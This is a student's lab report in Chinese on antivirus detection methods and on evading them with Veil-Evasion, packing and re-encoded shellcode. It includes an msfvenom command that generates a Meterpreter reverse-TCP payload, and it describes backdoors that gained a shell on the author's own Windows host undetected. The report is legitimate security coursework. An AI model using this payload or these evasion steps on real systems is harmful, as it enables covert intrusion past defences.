20145205《网络攻防》第三次实验_免杀及其原理
恶意代码的免杀
- 首先明确一点,恶意代码是如何被杀的,只有知道了如何查杀病毒才可以去谈如何避免我们做的病毒不被查杀,现在我们大众接触到的杀毒软件国内国外有很多种,其实他们根本的方法都是一样的,只是各家对于现在留存于世的恶意代码的研究深度不同,而且对于不同环境下的可疑文件分析方式也是不同,所以才有目前我们见到的各种各样的杀毒软件。
查杀方式
-
基于特征码的检测方式,所谓的特征码就是大家在研究恶意代码的时候,发现很多的恶意代码,他们的底层文件信息,也就是机器语言,上都有一些字段是相同的,因为现在的人们的系统中,很多的端口规范化使用,而且防火墙禁止了许多开放端口服务,很多的恶意代码混进来都是靠着一些一直开放的端口服务,而且恶意代码的功能总是大同小异,所以总是有一些相似的底层代码,也就是我们所说的特征码,通过扫描可疑文件的底层代码进行恶意代码的识别和查杀就是我们所说的基于特征码的查杀了。而且后来大家发现有些恶意代码可能传播具有地区局限性,或是先出来跳了几天,风头紧就躲了起来,为了防止这些恶意代码,杀软的工作人员建立了一个名叫病毒库的强大后台,省的每次都要那么的麻烦的进行扫描分析。这样一来,对于被检测出来的恶意代码的查杀便得就像是打卡上班一样的轻松。
-
启发式的恶意代码查杀,这样查杀我感觉就是当年大家刚刚设计出互联网时,只是单单对于通信传输方面进行了完善的设计,忘记了肯定有人就是搞事情这样的万年不变的定律,然后被一干恶意代码搞了好几波之后,对于恶意代码是深恶痛绝,只要你敢和恶意软件长得几分相似,我就要收拾你丫的,启发式查杀就是给我一种这样的感觉,通过对于软件和现有病毒库中的各个样本们进行比对,要是相似程度大于一个杀软设计者给定值后,就把这个软件查杀了,但是本来很多恶意软件就是基于很多软件进行的代码重构或是暗地捆绑,这样做的话让一些本来只是老老实实的软件也跟着遭了秧,这是杀软行业中的“宁可错杀三千,不能放过一个恶意代码”政策。
-
基于软件行为的查杀,其实吧,这种方式就像是,一个敌方的间谍混入到了我们广大人民群众中去了,但是吧,这个间谍并没有每天干着各种坏事,也像是我们普通人一样,每天该干啥干啥,但是吧,间谍总是间谍,总是要体现以下职业道德的,但是只要他干了坏事,我们就立马抓住他,然后处理他。基于行为的查杀也是一样,因为恶意代码要干的事情,其实就是那么几个,要不透露个个人信息,悄咪咪发出去;或是给贼人开个后门,让贼人进入我们自家地方,但是我们的杀软可谓是把控着进出的每个通道,只要有人敢这样做,杀软就二话不说查杀了就是了。这样的查杀方式,就显得很是全面了,有些新型的恶意代码没有在病毒库中备案,也没有和哪个恶意代码长得有几分相像,但是只要是干了坏事,那就是我们的敌人,坚决干掉不留情面。
免杀方式
-
上面谈了那么多,终于到了我们今天的话题关键了,如何避免被查杀了呢,有句话说的好“知己知彼,百战不殆”,说的就是我上面唠叨了那么多的话,就是为了给我们自己的恶意代码多几件保护措施。
-
首先呢,我们的恶意代码都是可执行文件形式,只要是我们加了壳,杀软就无法看到我们的底层代码了,所谓的加壳我是知道的,就是为了防盗版吗,但是国内的俩家知名门户网站,对于壳表示就喜欢剥壳,但是一般的杀软无法分析我们的底层代码最多就给我们提示是风险文件,建议隔离运行。
-
对
shellcode
进行再编译,改变我们本身的特征码,就是整了容一样,虽然外表变了,但是本质没变。 -
改变行为或是隐藏行为。就是使用现在十分时髦的反弹链接,让被攻击的靶机贱嗖嗖的自己去发起链接,或是我们隐藏自己的行为,使用隧道通信或是加密通信数据。干坏事肯定不能大白天的在大街干,就是要偷偷摸摸的干坏事才有感觉。
-
或是我们发现了一些正常软件的“小秘密”,抓住这个“小秘密”也就是软件漏洞进行攻击,或是在一些吸引人的网站或是软件上加上我们的恶意软件下载方式,哄骗大家点击下载,或是自己创新搞一个新的恶意代码。
实践部分
- 说了这么多,终于到了最为激动人心的实践环节了,首先呢我们要去探测一下上次我们关掉了360之后导入我的主机那个后面程序,(没错我是特意强调一下360,因为做完了实践我感觉我装了一个假的杀软,或是这个玩意本身就是一个流氓软件),这里呢我们使用的是- http://r.virscan.org/这个杀软平台进行的测试。结果如图,这个玩意儿果然是恶意代码。
- 让人气愤的是,我现在开启了360它现在也没给我报错,但是当我再次打开那个恶意程序的时候被秒杀了,所以360平时对于内部文件的查杀方式是基于行为的查杀
修改特征码进行免杀
-
就通过对于老师给的知道博客的认真研读- MAL_免杀原理与实践,同时瞅了好几眼提前做好的- 高其的博客发现kali中内置的Veil-Evasion免杀平台。
-
在参考了以上博客后,通过
Veil-Evasion
生成了自己的第一个免杀的恶意代码
-
但是吧,我总觉得,这个平台很强大,为什么呢,因为拷到我的电脑上后,根本就没有报过错,
- 我感觉应该是我的360太渣了,之后我又把这个正整了容的恶意代码丢到了检测平台,结果是这样的。
- 只有一家杀软报了错,平台也说这是杀软的检测错误,这就有些尴尬了,免杀第一次就这么成功。
对于shellcode的重编写
-
首先呢,我们需要先生成一个
shellcode
,之后我们需要把它拷出来,然后自己再编译一下,类似于我们将一个半成品加了一道工序变成了成品。 -
在kali的终端中输入如下命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=443 -f c
,最后的c
就是生成是C语言代码啦。
-
代码生产完毕后,拷到主机中,然后加上指导博客中另外一个半成品,编译一下,就出现了一个成品,然后就如上次的实验的
msf
部分的操作一样,我们在kali这边一通操作,然后双击一下生产的可执行文件。kali这边就又一次获得了我的主机的权限,而且这次不像上次实验那样,无需关闭360,就可以获得权限,随后我将这次生成的可执行文件又丢到了检测平台,结果如图。因为win10不兼容vc6,我是在win7虚拟机上上做的可执行文件,拷到win10,但是依然运行并取得了win10 的权限,而且360开启状态下没有查杀。 -
win7上编译生成shellcode_backdoor.exe可执行文件
-
kali获得win10权限,并且360开启中,没报错
-
这次平台给出了7家杀软报毒的报告,提示这就是病毒。
-
使用逆序编译shellcode
-
这个其实就是将shellcode平时逆序编译,当我们需要使用的时候,重新整理一下顺序,恢复shellcode的功能,但是我在win7编写好拷到win10中后,开始的时候,360并没有报错,然后我想看下能不能重新由kali获得win10权限,但是我开启了msf后,win10中的shellcode_backdoor_2.exe运行了一段时间便闪推了,而且kali也并没有获得win10的权限,然后360就突然查杀了这个逆序编译的shellcode。
-
都不用放到平台检测了,直接就被我的360拿下了。
-
然后附上我的360进行查杀的截图,因为上次的实验的后面程序在我提交到了平台监测后,双击便被秒杀了,而且我的恶意代码都放到了我的
ncat
文件夹下,所以使用360进行了自定义扫描,其中的文件中,shellcode_backdoor.exe和exp2_backdoor.py,(shellcode_backdoor_2.exe直接运行时被查杀掉了)都是本次免杀时生产的恶意代码文件。
-
结果表示360并不能进行查杀。
-
靶机配置win10系统,360安全卫士
实践感想
- 本次实践让我不禁对于恶意代码感到了一丝惊恐吧,因为我的杀软和平台39个杀软的中的38个都对我们生成的两个免杀恶意代码真的就免杀了,虽然我的电脑上没啥重要信息,但是如果有些恶意代码对于其他一些人的电脑侵入呢?那时又该怎样保护他们的电脑的呢?应该是本次实践我涉及到的内容不深,不然就真的是一个需要解决的问题。